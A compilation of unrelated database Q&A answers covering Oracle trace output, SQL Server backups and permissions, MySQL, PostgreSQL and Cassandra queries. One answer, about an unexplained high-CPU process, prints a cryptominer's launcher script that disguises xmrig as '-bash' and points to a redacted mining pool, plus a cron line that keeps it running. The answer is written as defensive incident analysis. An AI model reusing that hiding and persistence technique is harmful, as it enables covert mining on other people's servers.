Fetch        0      0.00       0.00          0          0          0           0
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total        3      0.00       0.00          0          6          4           2

Misses in library cache during parse: 0
Optimizer mode: CHOOSE
Parsing user id: SYS   (recursive depth: 1)
Number of plan statistics captured: 1

Rows (1st) Rows (avg) Rows (max)  Row Source Operation
---------- ---------- ----------  ---------------------------------------------------
         0          0          0  UPDATE  COL$ (cr=3 pr=0 pw=0 time=74 us)
         1          1          1   TABLE ACCESS CLUSTER COL$ (cr=3 pr=0 pw=0 time=19 us cost=2 size=61 card=1)
         1          1          1    INDEX UNIQUE SCAN I_OBJ# (cr=2 pr=0 pw=0 time=6 us cost=1 size=0 card=1)(object id 3)

********************************************************************************

SQL ID: 4yyb4104skrwj Plan Hash: 2683643009

update obj$ set obj#=:4, type#=:5,ctime=:6,mtime=:7,stime=:8,status=:9,
  dataobj#=:10,flags=:11,oid$=:12,spare1=:13, spare2=:14
where
 owner#=:1 and name=:2 and namespace=:3 and remoteowner is null and linkname
  is null and subname is null

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.00          0          0          0           0
Execute      2      0.00       0.00          0          6          2           2
Fetch        0      0.00       0.00          0          0          0           0
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total        3      0.00       0.00          0          6          2           2

Misses in library cache during parse: 0
Optimizer mode: CHOOSE
Parsing user id: SYS   (recursive depth: 1)
Number of plan statistics captured: 1

Rows (1st) Rows (avg) Rows (max)  Row Source Operation
---------- ---------- ----------  ---------------------------------------------------
         0          0          0  UPDATE  OBJ$ (cr=3 pr=0 pw=0 time=114 us)
         1          1          1   INDEX RANGE SCAN I_OBJ2 (cr=3 pr=0 pw=0 time=39 us cost=3 size=87 card=1)(object id 37)

********************************************************************************

As you can see the tab$, col$and obj$ base tables are updated two times(evidenced by number of executes which is 2). These base tables stores the objects meta data.


Oracle restrict user to use USERS tablespace

The user TEST may have the UNLIMITED TABLESPACE privilege, or a quota defined on the USERS tablespace. To revoke them:

revoke unlimited tablespace from test;
alter user test quota 0 on users;

If the user had the UNLIMITED TABLESPACE privilege without any quota defined, you need to define a quota on the TEST tablespace, so the user can use it again after the above commands:

alter user test quota unlimited on test;


Instead of looking for matching username and password from the table, I would suggest you to use login system explained in this link. You just need to import forms and code from demo database from the link into your DB. You'll also get password change form and password reset option. I've use the same approach in my project. I also adopted (recommend you to do too) storing encrypted password approach to prevent user password in case the DB is compromised. If you need any help in that regard too, I'll be happy to help.


sp_send_dbmail stored procedure send with attachment

If you still need to export the file and send it as an attachment, this can also be fully automated in SQL Server.

Exporting as a CSV can be achieved via BCP. There's more details in this answer, but the main idea is:

bcp "SELECT Col1,Col2,Col3 FROM MyDatabase.dbo.MyTable" queryout "D:\MyTable.csv" -c -t , -S SERVERNAME -T

You would then attach the file to the email in sp_send_dbmail.

USE msdb;
GO

EXEC sp_send_dbmail
  @recipients='mark@mark.com',
  @subject='Client Report',
  @body='Please find your latest report attached',
  @file_attachments='D:\MyTable.csv';

You could, if you want, attach multiple files to one email.


Update first, if not then insert (mysql)

This is possible with MySQL command line "Load data file". But it no SQL query.

13.2.6 LOAD DATA INFILE Syntax
https://dev.mysql.com/doc/refman/5.7/en/load-data.html


The easiest way to do this would be to use Team Appir's jalali_utils extension for PostgreSQL. Then you could write your query like this:
SELECT COUNT(reserverow.id), EXTRACT(MONTH FROM reserverow.used_date) as "Month"
  FROM reserverow
 WHERE reserverow.used_date > '2000-09-28 01:00:00'
 GROUP BY JALALI_PART('month', reserverow.used_date)


SQL Server displayed 'Grantor' vs system tables result

SQL Server Management Studio executes a series of dynamic SQL statements to obtain the list you're seeing.

You can capture the statements it executes with an Extended Events session, or by running a trace against a non-prod instance while viewing the permissions tab.

I just did that, and it looks like SSMS is pulling the data from the tables in a very similar way to your query:

DECLARE  @_msparam_0 nvarchar(4000);

SET @_msparam_0 = '##MS_AgentSigningCertificate##';

SELECT ascii(prmssn.state) AS [PermissionState]
    , null AS [Code]
    , grantor_principal.name AS [Grantor]
    , prmssn.type AS [SqlCodePP]
    , CASE WHEN (prmssn.class=4 or prmssn.class=101 ) THEN
                CASE (SELECT oc.type FROM sys.server_principals AS oc WHERE oc.principal_id = prmssn.major_id)
                    WHEN 'R' THEN CASE prmssn.class
                    WHEN 4 THEN 201
                    ELSE 301
                END
            WHEN 'A' THEN 202
            ELSE
                CASE prmssn.class
                    WHEN 4 THEN 200
                    ELSE 101
                END
            END
        ELSE prmssn.class
        END AS [HiddenObjectClass]
FROM sys.server_permissions AS prmssn
    INNER JOIN sys.server_principals AS grantor_principal ON
        grantor_principal.principal_id = prmssn.grantor_principal_id
    INNER JOIN sys.server_principals AS grantee_principal ON
        grantee_principal.principal_id = prmssn.grantee_principal_id
WHERE (prmssn.class = 100)
    AND (grantee_principal.name = @_msparam_0);

This contains the same joins as in your query.  I've reformatted the query for readability.

On my SQL Server 2008 R2 instance, I see the same results from your query as I see in the Server Properties dialog.


Cannot Start SQL Server Reporting Service

If you open sql configuration manager, right click the Reporting Services service, go to properties, then advanced you should see an option to turn on error reporting.

It will also have the dump directory location. Check the latest log in there and it should tell you why it couldnt start.


Is it a good idea/approach to index a VARCHAR column?

There's nothing wrong with indexing a varchar column if you're going to be doing queries based on it. However please keep in mind that there a limits to some indexes and how much they can index in a single field. Example you can't index a column that can contain an unlimited amount of text. However you should be able to do an index on varchar(256) without issue. Try it, and analyze the improvements in your queries performance to see if it helps.


Indexes use space, and a 16 byte key is nothing to worry about.

So you should define the primary key on user_relations on (relating_user_id, related_user_id). If you need to search by  relation_type, it won't help to put the column into the INCLUDE list, since such columns cannot be used as filter for an index scan.

I see two options:

In addition to the primary key suggested above, have additional indexes on (relating_user_id, relation_type) and (related_user_id, relation_type).
If you want to have fewer indexes, define the primary key on (relating_user_id, relation_type, related_user_id) and define only one additional index. Perhaps you can live with it if the database allows several different relationships between the same users.

The deciding factor which indexes to define should be the queries you will have to serve frequently and efficiently. Design these queries, and the question will become easier.


create a FTS in sql2005 on multile fields in multiple tables?

You'd have to create a view and create an FT index on this view

From MSDN "Getting Started with Full-Text Search" (my bold)

  Create a full-text index on the table or indexed view

I haven't tried this myself so don't have any tips. However, an indexed view is the only way to have any index span tables.


Looking at the schema provided, what is the purpose of the PlayerID link between League and Player? If this is to determine if a player is participating in that league you would need to duplicate each League record for every player in that league which would break your primary key. In order to determine if a player is part of a League you would need to join from League through Round and Game to Player.

I believe this link can be removed and the PlayerID column in League dropped. This will resolve any many-to-many relationship issues that I can see.

Also you are storing the players name in both Player and Game, is this required for history or can this be normalised and use the data in the Player table throughout the implementation?


Cassandra - Query a column with collection type

You can index collection types in cassandra 2.1 and later. You are after:
SELECT * FROM <table> WHERE <field> CONTAINS <value_in_list/map/set>

Detailed example:

cqlsh> USE ks;
cqlsh:ks> CREATE TABLE data_points (
            id text PRIMARY KEY,
            created_at timestamp,
            previous_event_id varchar,
            properties map<text,text>
         );
cqlsh:ks> create index on data_points (properties);
cqlsh:ks> INSERT INTO data_points (id, properties) VALUES ('1', { 'fruit' : 'apple', 'band' : 'Beatles' });
cqlsh:ks> INSERT INTO data_points (id, properties) VALUES ('2', { 'fruit' : 'cherry', 'band' : 'Beatles' });
cqlsh:ks> SELECT * FROM data_points WHERE properties CONTAINS 'Beatles';

 id | created_at | previous_event_id | properties
----+------------+-------------------+----------------------------------------
  2 |       null |              null | {'band': 'Beatles', 'fruit': 'cherry'}
  1 |       null |              null |  {'band': 'Beatles', 'fruit': 'apple'}

(2 rows)

Word of warning, secondary indexes don't scale out well as they use a scatter/gather algorithm to find what you need, if you plan to use them for heavy tagging it might be better to denormalize the properties field int a separate table and carry out multiple queries.

Further reading:

Is it possible to use cql to query collections in a row?


Efficient group by on sorted CSV using PostgreSQL FDW

I'm afraid not.

There is no such thing as a "sorted csv" file format, all you can have is a csv file that just happens to be sorted. I could take your example file and move the top line to the bottom and it would still be a valid csv.

If the fdw made that trusted your assertion and you made a mistake it would return incorrect results which is obviously unacceptable.

So, you will either want to import that file if you are doing lots of processing, convert it to a sorted db file format that fdw supports or pre summarize the data if that is all you are doing.


Does a backup include dropped, hidden columns still in a table's physical structure?

If I have a table with an NVARCHAR(MAX) column and I drop it

I wrote about how you can use DBCC CLEANTABLE to reclaim the space.
Under the hood, sql server just deallocates the pages and then a background thread called ghost clean up will clean up the data.
Another aspect that I am assuming you are asking is physical data security - how can I be sure that my data is not recoverable once I delete/drop it ?
To answer that, SQL Server provides - sp_clean_db_free_space

in environments in which the physical security of the data or backup files is at risk, you can use sp_clean_db_free_space to clean these ghost records.
The length of time required to run sp_clean_db_free_space depends on the size of the file, the available free space, and the capacity of the disk. Because running sp_clean_db_free_space can significantly affect I/O activity, we recommend that you run this procedure outside usual operation hours.

Now that being said, its really hard to destroy the data esp. for drop column

if your column data type is defined as fixed length e.g. char(10) (Index Rebuild is required ; for heap create a clustered index and then drop it as there is not other option)
if your column data type is defined as variable length e.g. varchar(10) / nvarchar(10) (which can be taken care by dbcc cleantable)

Michael J. Swart has a very interesting post on It’s Hard To Destroy Data - esp the summary table with different options.


Suddenly cannot access SQL Server database

Unknown,FCB::Open failed: Could not open file C:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.SQLEXPRESS\MSSQL\DATA\PWRCMS.mdf for file number 1.  OS error: 32(The process cannot access the file because it is being used by another process.).

Your database is in use from another process. You need to identify what that process is. Perhaps you attach the DB with AttachDatabase connection string option to a different SQL Server Express instance?


Can a transaction log backup create a new database before any full database backup is applied? SQL Server 2017

No, in order to restore transaction logs, your database has to be in a restoring state first, and to do that, you'll need to restore a full backup.


Off the wall...

Turn the Procedure into a function.  Simply return 0, or something irrelevant.
Instead of CALLing the Procedure, invoke the Function this way:

SELECT 0 WHERE key = 'A' AND routine(key);

The hope is that the sharding will kick in for the first part of the WHERE and send the SELECT only to the desired shard.

BTW, it appears that Fabric is being decommissioned.


Warning in query plan "Cardinality Estimate"

This warning was new for SQL Server 2012.

From
New "Type Conversion in Expression....." warning in SQL2012 ,to noisy to practical use

  I see what you mean. While I agree that this is noise in most cases,
  it is low priority for us to fix. We will look at it if we get more
  feedback. For now I have closed this by design.

Connect was killed and it doesn’t look like the original issue was transferred to UserVoice. Here’s a different UserVoice issue about the same problem, Type conversion in may affect CardinalityEstimate - Convert/cast on selected columns

I will provide the boring answer until someone comes along with a better one.

  Why does it have the warning?

Speculation on my part.
There is a cast on a column that is used in the where clause which make statistics of that column interesting. A change of datatype makes the statistics no good so lets warn about that in case the value from the field list might end up to be used somewhere.

  How could a cast in the field list affect the cardinality estimate?

It can't unless it is the field list in a derived table.


why do i have that unnatural process on my server

I have seen something similar to this once on a clients system about 1,5 years ago, in
2019 January.
The symptoms were also similar. Even the 600% CPU usage was the same.
In that case, the command was disguised as ld-linux-x86-64, not ., something like this:
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
23971 oracle    20   0  592404   5616   4788 S 593,8  0,0  20:40.20 ld-linux-x86-64

top does not display the whole command in its output.
If the command used is ld-linux-x86-64                                                                                something (with lot of spaces), then if your terminal is not big enough, top will just display ld-linux-x86-64          with some spaces until the end of line.
However, checking with ps, I was able to see the whole command (I trimmed some of the spaces for readability).
ps -ef | grep 23971

oracle   23971     1 99 16:53 ?        00:21:37 -bash ...          ... --library-path stak stak/xmrig

The owners of this server (dont ask me why) allowed direct SSH access from public internet to this server. The password of oracle user was also quite simple. The process belonged to a cryptocurrency malware, and if I remember correct, it was mining Monero cryptocurrency. I also found the remote address it sent it in less /home/oracle/.ssh/stak/config.json.
This is how it hid itself (I removed the remote server address and credential from the script below...):
$ cat /home/oracle/.ssh/run
#!/bin/bash
#ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid
#do
#kill -9 $procid
#done
proc=`nproc`
ARCH=`uname -m`
HIDE="-bash"

if [ "$ARCH" == "i686" ];       then
        ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://xxx.xxx.xxx.xxx:xxxx -u ... -p x >>/dev/null &
elif [ "$ARCH" == "x86_64" ];   then
        ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig >>/dev/null &
fi
echo $! > bash.pid

Killing it did not stop it as it scheduled itself in cron and checked itself every minute:
$ crontab -l
* * * * * /home/oracle/.ssh/upd >/dev/null 2>&1

To be honest, I do not think this is an Oracle issue...


MySQL Database import into 5.7 hangs with CLI or with Workbench 6.3 CE

I ran into similar problem importing a 1.2G SQL File and it took about 10 hours on my Laptop (Core i-5 x64 8G RAM) Of course I was multitasking.

To find out the progress, I'd query every hour using this query

select table_name as "Table", round(((data_length + index_length) / 1024 / 1024), 2) AS "SIZE" from information_schema.TABLES where table_schema = "Name_of_Database_You_Import";

Thanks


ProcessUpdate of the dimension triggers processing of all partitions of all measure groups in the cube

I'm somewhat surprised that your partitions are processed without you specifying "process affected objects" anywhere.
Maybe you are confusing the output "partition processing operations" with the actual processing of the partitions.

The logic to process partitions when updating dimensions is this.

if you process update a dimension and only new members were added, the partition is not affected
if you process update a dimension and changes were made (deletes, changes in dimension relations such as a customer changed customer group/zip code whatever) some of the aggregation data and bitmap indexes on the partitions are dropped.

The drop of the aggregation data and bitmap index shows up in profiler as "partition processing operations".

This however will not render the partition inaccessible, so the measures are still available for querying, albeit slower.

If ProcessAffectedObjects were set to true, the partitions for which the aggregations/indexes were dropped would have their aggregations and indexes rebuilt (but not the entire partition reprocessed).

So I think you are confusing the message "partition processing operations" with the actual reprocessing of the partition, and the customer dimension just takes longer to process than the account partition (possibly because it has more members/hierarchies/relations/...).

For reference you could visit this link which offers you a script on the $SYSTEM.DISCOVER_PARTITION_DIMENSION_STAT dmv to validate this is what happens: Different Kinds of SSAS Processing in simple words.

The "impact analysis" button only uses the cube definition to see which partitions "may" be affected, it isn't until after actual processing of the dimension that SSAS knows which partitions "are" affected.


Deciding between an IsDeleted/DateDeleted column or a separate History table?

The problem with IsDeleted is its low cadinality: 0 or 1. Which makes it unindexable and since all your queries will add IsDeleted = 0 to the WHERE (or JOIN) conditions this apparent trivial change complicates a lot of things. You covering indexes will all of the sudden require lookups into the base table to decide if the row qualifies or not. There are measures that can improve behavior, but they have to be properly considered and consistently deployed (note that some of these mitigation are mutually exclusive, evaluate them separately):

add IsDeleted as the leftmost key in the clustered index. This effectively 'splits' the clustered table into two regions ('deleted' and 'active'). It also forces de-facto the IsDeleted column in every non-clustered index, thus avoiding the need to lookup the value.
add IsDeleted as a leftmost key in every non-clustered index. May sound extreme, but can be quite effective, provided that all queries specify IsDeleted in the WHERE.
add IsDeleted as an included column to every non-clustered index. Unlike the options above this does not change seek/range/lookup semantics of the exiting indexes, but makes the IsDeleted check filtering available in every access path. Can be quite effective specially if IsDeleted = 1 occurs seldom.
make the non-clustered indexes filtered by IsDeleted = 0. May be effective on large tables, but is a bit dangerous as the filtered indexes become unusable for queries interested in the deleted rows.

A separate table for history makes a much more cleaner cut from the engine point of view: is a different table, no messy/risky plan choices to cope with. But it is much more impact on the application. If looking up the history of a row is the exception, the application changes are reasonable easy then I would consider this option first, as it has the least risk of (severe) performance regression.

I would strongly advise against mixed solutions (eg. tags and tags_history table and a view that unions them), such solutions have all the disadvantages mentioned above without any advantage. In general, anything that claims 'minimal impact' or 'transparent change' is snake oil. This (adding application layer row versioning/row history) is, by definition, a high impact change which will ripple big time in the application.


What would be best data model for finding difference within n, n-1 and n-2 elements?

Possible realization:

id SERIAL PRIMARY KEY,
punter_id INT,
bet_number INT,
guess_number TINYINT, -- from 1 to 13
guess TINYINT, -- from 0 (or 1) to 7
UNIQUE (punter_id, bet_number, guess_number)

Each bet consists from 13 records for each punter.

The result is placed into the table with similar structure:

id SERIAL PRIMARY KEY,
bet_number INT,
result_number TINYINT, -- from 1 to 13
result TINYINT, -- from 0 (or 1) to 7
UNIQUE (bet_number, result_number)

So you join these tables by (bet_number, guess_number)=(bet_number, result_number), group by punter_id (or by (punter, bet_number, result_number) when you'll obtain the result for a lot of bets in one query), and calculate SUM( CASE guess & result WHEN 0 THEN 0 ELSE 1 END ). This sum is the amount of positive guesses per bet.


Restrict contained SQL Azure user to read-only access

This should never happen. db_datareader will grant only select access to the database.

I used your query in my Azure database and I couldn't create a table, the user got only select access to the database.

Either the user got elevated access or else you might be logged in with the administrator account. Do the same test in a different user database (just to ensure the user didn't get created already) and then connect using the user name and run the query below.

SELECT DatabaseName=DB_NAME(),
    UserName=USER_NAME(),
    x.DoesUserHasAccess,
    a.entity_name,
    a.permission_name
FROM sys.fn_my_permissions(NULL, 'DATABASE') a
    CROSS APPLY
     (
         SELECT DoesUserHasAccess = HAS_PERMS_BY_NAME(
                                        DB_NAME(),
                                        a.entity_name,
                                        a.permission_name
                                                     )
     ) x
WHERE x.DoesUserHasAccess = 1;

When I tested for the same user it returned only select access.


You could drop the foreign keys, but if the tables are large and/or you have busy environment, be sure to test your insert times before you do anything on production.
In regard to new keys, it shouldn't throw a problem, but if you're trying to insert duplicate keys then you'll get errors.
Also, be sure to insert parent entities first (if you don't drop foreign constraints first!) then child entities.


Is there a use case where RDBMS is the best data store for querying only?

I find your question a bit confusing, as you mix different concept domains togeter.

RDBMS stands for "Relational database management system". If your data model is relational in nature, you use an RDBMS to store, process and query it. How it optimizes these things physically is an implementation detail (your "Column Data store" is one example).

If your data model is strictly non-relational, you might choose a different DBMS, such as key-value store type, whose implementation is more optimized for the corresponding use cases.


Cannot get geometry object from data you send to the GEOMETRY field

Wrong syntax...  Instead of

INSERT INTO track VALUES (
    position=ST_PointFromText(...)
);

use

INSERT INTO track SET
    position=ST_PointFromText(...);

Reference: https://dev.mysql.com/doc/refman/5.7/en/insert.html


Rebuilding partitioned table clustered indexes

Partitions can be rebuilt individually.  This allows you to interrupt the rebuild and preserve the work already done. The rebuild can be resumed later after the previously completed partition number.  Below is an example of this technique, where the @PartitonNumber value can be changed in a restart scenario.

DECLARE
      @PartitionNumber int = 1 --specify start partition number
    , @EndPartitionNumber int;

--get last partition number
SELECT @EndPartitionNumber = MAX(p.partition_number)
FROM sys.indexes AS i
JOIN sys.partitions AS p ON
    p.object_id = i.object_id
    AND p.index_id = i.index_id
WHERE
    i.object_id = OBJECT_ID(N'dbo.YourTable', 'U')
    AND i.name = N'YourIndexName';

--rebuild each partition individually
WHILE @PartitionNumber <= @EndPartitionNumber
BEGIN

    RAISERROR('Rebuilding partition %d', 0, 0, @PartitionNumber) WITH NOWAIT;

    ALTER INDEX [YourIndexName]
        ON [dbo].[YourTable]
        REBUILD Partition = @PartitionNumber;
        --WITH(ONLINE=ON); --specify desired online mode in SQL 2014 and later

    RAISERROR('Partition %d rebuild completed', 0, 0, @PartitionNumber) WITH NOWAIT;

    SET @PartitionNumber += 1;

END;
GO


No, you cannot tell SQL Server to collate different rows differently. Collation applies to the column, database, or instance.

Within a query, it is possible that you could apply different collation rules, e.g. for comparisons, using a CASE expression. Assuming you can add a column to indicate what collation should be used for that row.

SELECT pk FROM dbo.basetable
  WHERE
  CASE
       WHEN collation = 1 THEN name COLLATE Albanian_BIN
       WHEN collation = 2 THEN name COLLATE Chinese_Taiwan_Bopomofo_90_BIN2
       WHEN collation = 3 THEN name COLLATE Norwegian_100_CS_AS_WS
       ...
  END = @parameter;

But this will not allow you to store data in different collations in the same column. If this is an actual need and not just some bet, you could consider some kind of EAV design, like:

CREATE TABLE dbo.eav
(
  pk   INT PRIMARY KEY FOREIGN KEY REFERENCES dbo.basetable,
  basecolumn SYSNAME,
  -- maybe collation # to use is specified here, or maybe in base table
  alb  NVARCHAR(255) COLLATE Albanian_BIN,
  chtw NVARCHAR(255) COLLATE Chinese_Taiwan_Bopomofo_90_BIN2,
  nor  NVARCHAR(255) COLLATE Norwegian_100_CS_AS_WS,
  ...
);


Forgot to run END_UPGRADE during a Timezone File Upgrade (ORA-56924)

Just start the database normally and run DBMS_DST.UPGRADE_DATABASE

Then you  must see the messages "An upgrade window has been successfully ended." and "Failures:0"

Double check that it succeeded  by running:

1:

SELECT PROPERTY_NAME, SUBSTR(property_value, 1, 30) value
    FROM DATABASE_PROPERTIES
    WHERE PROPERTY_NAME LIKE 'DST_%'
    ORDER BY PROPERTY_NAME;

2:

 SELECT * FROM v$timezone_file;

-- file with the newer version must appear here.

Lastly, make sure the versions match for the following queries:

CONN / as sysdba
select VERSION from v$timezone_file;
select TZ_VERSION from registry$database;

--if they differ after an upgrade then updating registry$database can be done by

CONN / as sysdba

update registry$database set TZ_VERSION = (select version FROM v$timezone_file);
commit;

Hope it helps.


Restore Oracle Database excluding some tablespaces

RESTORE

  Use an optional SKIP TABLESPACE 'tablespace_name' argument to avoid
  restoring specified tablespaces, which is useful when you want to
  avoid restoring tablespaces containing temporary data.

  If you specify SKIP FOREVER TABLESPACE, then RMAN specifies the DROP
  option of ALTER DATABASE DATAFILE ... OFFLINE when taking the
  datafiles that belong to the tablespace offline before the restore.
  The DROP option indicates that RMAN does not intend to recover these
  files and intends to drop their tablespaces from the database after
  the database is opened again. In other words, FOREVER indicates that
  RMAN never intends to do anything with the skipped tablespaces again.

Example:

RESTORE DATABASE SKIP FOREVER TABLESPACE TOOLS, EXAMPLE;


Sql Server doesn't care 'where' your backups are ultimately stored.  Having said that, I can assure you that Sql Server 'knows' where the backups were 'created' (physical location) and stores that information in the MSDB database. Sql Server would try to use that information to generate a restore via SSMS GUI and the files wouldn't be there. Moving backup files around will also complicate an attempt to automate a restore plan by utilizing the information in the MSDB database tables because the files are in a different place than where they were originally created.  And, I think you definitely want an automated restore plan, especially with trying to restore a bunch of logs.

In my opinion, the 'better' strategy is to allocate a separate disk drive or share with enough space to hold your intended backups.  I personally don't like maintenance plans for backups because they don't give you enough options.  A better choice is to use Ola Hallengren's maintenance scripts (backup, being one) - https://ola.hallengren.com/sql-server-backup.html


I'm giving it a shot, still not sure if I got it:

select 100.0*(count(b.taba_id) + count(c.taba_id))
     / (( select count(1) from b) + (select count(1) from c))
from taba as a
left join tabb as b
    on a.id = b.id
left join tabc as c
    on a.id = c.id

Some thoughts, count will newer return null so coalesce is pointless. If the above is correct it is possible to use window function (as I think you have tried to do), to replace the total count's


You may start DB2 table journaling with the QSYS2.QCMDEXC procedure and a corresponding text of the STRJRNPF CL command as an argument. Something like this:

CALL QSYS2.QCMDEXC('STRJRNPF FILE(MYFILELIB/MYFILENAME) JRN(MYLIB/USRJRN) IMAGES(*BOTH) OMTJRNE(*OPNCLO)');


Specific format/formula when changing column datatype

First and foremost:

Why are you storing dates as text?

Second, as I pointed out in comments, there is an accepted answer of Aaron Bertrand that states: 'Sorry, not possible', you cannot change the default conversion behaviour. And that is why I flagged this question as duplicated.

And third, having a look at Microsoft SQL Server 2008 Internals, at chapter: Internals of Altering Tables. (bold is mine)

  Another negative side effect of altering tables happens when a
  column is altered to increase its length. In this case, the old
  column is not actually replaced. Rather, a new column is added to
  the table, and DBCC PAGE shows you that the old data is still there.
  I’ll let you explore the page dumps for this situation on your own,
  but we can see some of this unexpected behaviour by just looking at the
  column offsets using the column detail query that I showed you earlier
  in this chapter.

  Another drawback to the behaviour of SQL Server in not actually dropping the old column is that we are now more severely limited in the size of the row. The row size now includes the old column, which is no longer usable or visible (unless you use DBCC PAGE).

You can check the length by using DATALENGTH function:

DECLARE @dt datetime = GETDATE();
DECLARE @sdt varchar(20) = CONVERT(varchar, GETDATE(), 20);

SELECT @dt AS dt, DATALENGTH(@dt) AS dt_lenght,
       @sdt AS sdt, DATALENGTH(@sdt) AS sdt_lenght
GO

dt                      | dt_length | sdt                 | sdt_length
:---------------------- | --------: | :------------------ | ---------:
2020-05-30 10:50:51.587 |         8 | 2020-05-30 10:50:51 |         19

db<>fiddle here


Is it critical for a database to have a relationship table/diagram or not?

You don't need a diagram for it to work, you need one to train the future developers!

However, if what you really have is a database with no actual formal PK/FK relationships set up (Which you can do when creating diagrams as well as through better ways such as SQL scripts), then that is a different story. That is something that will eventually cause your data to be inconsistent and is a real problem indeed to other users of the database.


You can use unnest() like @dezso already mentioned, for instance with a LATERAL join (Postgres 9.3+)

SELECT l.*
FROM   list l, unnest(array_field) a  -- implicit lateral
WHERE  lower(a) LIKE '1234%';

You don't need any of this for the presented case. No materialized view at all. This query on the underlying tables is faster, because it can use an index:

SELECT *  -- or selected columns
FROM   article_list a
JOIN   LATERAL  (                      -- only matching IDs
   SELECT array_agg(id) AS offer_list
   FROM   task_offer
   WHERE  article = a.oa_nr            -- LATERAL reference
   AND    id::text ILIKE '1234%'       -- or just LIKE
   ) o ON offer_list IS NOT NULL;

offer_list is an array of the original data type in my result, and contains only matching IDs.

Returns a single row from article_list with an array of matching IDs in task_offer. Add a text_pattern_ops index (for left-anchored matches) to get best read performance:

CREATE INDEX task_offer_foo_idx ON task_offer (article, (id::text) text_pattern_ops);

Pattern matching with LIKE, SIMILAR TO or regular expressions in PostgreSQL

Or a trigram index for infix matches (not left-anchored):

How is LIKE implemented?

Or maybe a plain join for selective patterns:

SELECT a.*, o.offer_list -- or selected columns
FROM   article_list a
JOIN   (                          -- only matching IDs
   SELECT article, array_agg(id) AS offer_list
   FROM   task_offer
   WHERE  id::text ILIKE '1234%'  -- or just LIKE
   GROUP  BY 1
   ) o ON o.article = a.oa_nr;

Needs an index on article_list, too. (Which you probably have - no information in the question.) Like:

CREATE INDEX article_list_oa_nr_idx ON article_list (oa_nr);


From the docs:

  If you specify LOW_PRIORITY, the server delays execution of the DELETE until no other clients are reading from the table. This affects only storage engines that use only table-level locking.

All this means is that the DELETE LOW_PRIORITY statement will not begin processing until all read locks are finished. If another read lock comes in before the DELETE LOW_PRIORITY statement begins, it will wait.

Once the DELETE LOW_PRIORITY statement has the lock though, it will acquire the table-lock and run until complete (or killed).

Under normal table lock situations, any write requests will be given higher priority than read requests. Example: if you have a write lock going on, then a read request goes in the read queue, and then another write request comes in, the second write request will execute before the read requests.

Using LOW_PRIORITY, the situation is reversed. If a read lock is going on, and a write comes in, it will wait. If another read comes in before the write gets the lock, the second read will execute and the write will wait.

So, if you are using DELETE LOW_PRIORITY on a table that is frequently read from, the DELETE LOW_PRIORITY statement could be waiting a long time.

Once a write lock is acquired in a table-locking situation, any reads will wait in the queue until the write lock is finished.


Accidentally turned down SQL memory too low to log in, how do I fix?

Connect using the Dedicated Administrator Connection (DAC), which is guaranteed a minimal amount of resources in order to solve issues exactly like this one. For example, if you are connecting via Management Studio, launch a New Query window and just type ADMIN:servername instead of servername when it prompts you to connect. Ignore any errors you get which are usually benign as they are associated with Object Explorer, the database dropdown list, IntelliSense, etc. also trying to connect on your behalf (only one DAC connection is allowed).

More info here, here, and some troubleshooting here.


Please answer the following questions:

Can you tell us the performance tier of the Azure SQL DB you’re connecting to? Is it Basic or Standard or Premium? How many DTUs?
How many tables/views etc. do you have in the database?
Aside from IntelliSense not working, are you able to connect normally to this database, run queries and view and edit data as you expect from SSMS?

The reason behind all these questions is to understand whether you’re hitting the DTU limit for your database. It can sometimes take longer for SSMS to build the initial cache for IntelliSense and for T-SQL completions to work. While Microsoft continues to optimize them, some of the queries SSMS uses are expensive so a low DTU database with many objects may take longer to respond.

Newer version of SSMS run the most optimized queries for intellisense. And if you are using Azure Managed Instance (MI) you should go to with SSMS v18, although is still in preview has a lot of fixes for MI.


Which views can be queried while instance is up but database not mounted in Oracle 11G?

Generally speaking, most of the dynamic performance views, known as V$ views, which are populated in the memory, SGA to be specific are accessible after the instance startup process. If the these V$ views contains information which are stored in physical files such as control files or data files then your database has to be mounted and/or opened.

For example, when your database instance is started but database is unmounted, you can describe the v$database view but can't access it's contents until the database is mounted. This is due to the fact that the view has to get information from control files which is inaccessible until the database is mounted.

SQL> startup nomount

Instance is started.

SQL> desc v$database

Can view the structure becuase it is pupulated in SGA.

SQL> select * from v$database;
select * from v$database
              *
ERROR at line 1:
ORA-01507: database not mounted

SQL> alter database mount;

Database altered.

SQL> select * from v$database;

Now, you may access it's contents.

v$instance is accessible after the instance is started. As it's name suggests, it contains information related to memory and processes.


MS SQL server 2016 backwards compatibility

Yes there are reported compatibility issues (difference) between level 100 and 130. Instead of me copy and paste Microsoft document I suggest you consult this document.

ALTER DATABASE (Transact-SQL) Compatibility Level

I also suggest you list all the changes and test in your development (non prod environment) with simulating production load (covering all aspect of the application).

You might also look at Microsoft® Data Migration Assistant v3.1.

  Data Migration Assistant (DMA) enables you to upgrade to a modern data
  platform by detecting compatibility issues that can impact database
  functionality on your new version of SQL Server. It recommends
  performance and reliability improvements for your target environment.
  It allows you to not only move your schema and data, but also
  uncontained objects from your source server to your target server.

Nice article by Aaron Bertrand:

Bad habits : Clinging to old compatibility levels


How to create Parent record on Child record creation and assign Parent ID to Child record in MySQL

No it's not possible to create a child record without creating the parent record, but you can always(even in programming languages) insert into the parent table first and then insert into the child table.

insert into parent_table(id) values(1);
insert into child_table(childid,name,id) values(1,"x",1);

For example in any programming language if you have the id number that you want to add to your database you can use it in both insert statements.


ELK Stack is a good choice, even though i use elastic search + gray log for logging purposes. Experience with elastic search, several hundreds of GB are not an issue, u can in any case, easily increase capacity adding new nodes to it.

Graylag has an API which you could use in any other app


How do I efficiently query for records that share a year?

This should return all the ids that have at least one record for each year in your date range:
SELECT
  id
FROM
  <your table>
WHERE
  CAST(strftime("%Y", date) as decimal) BETWEEN <min year> AND <max year>
GROUP BY
  id
HAVING
  COUNT(DISTINCT strftime("%Y", date)) = <max year> - <min year> + 1
;


lock and get next n records from table in oracle

So, you have discovered that you can't do what you want; so you may want to do what you can by redesigning your process. One approach might be to introduce a new column, e.g. session_id, to indicate what application session, if any, is processing the row.
Each session will then start by atomically reserving a set of rows:
UPDATE phone_number SET session_id='<whatever>'
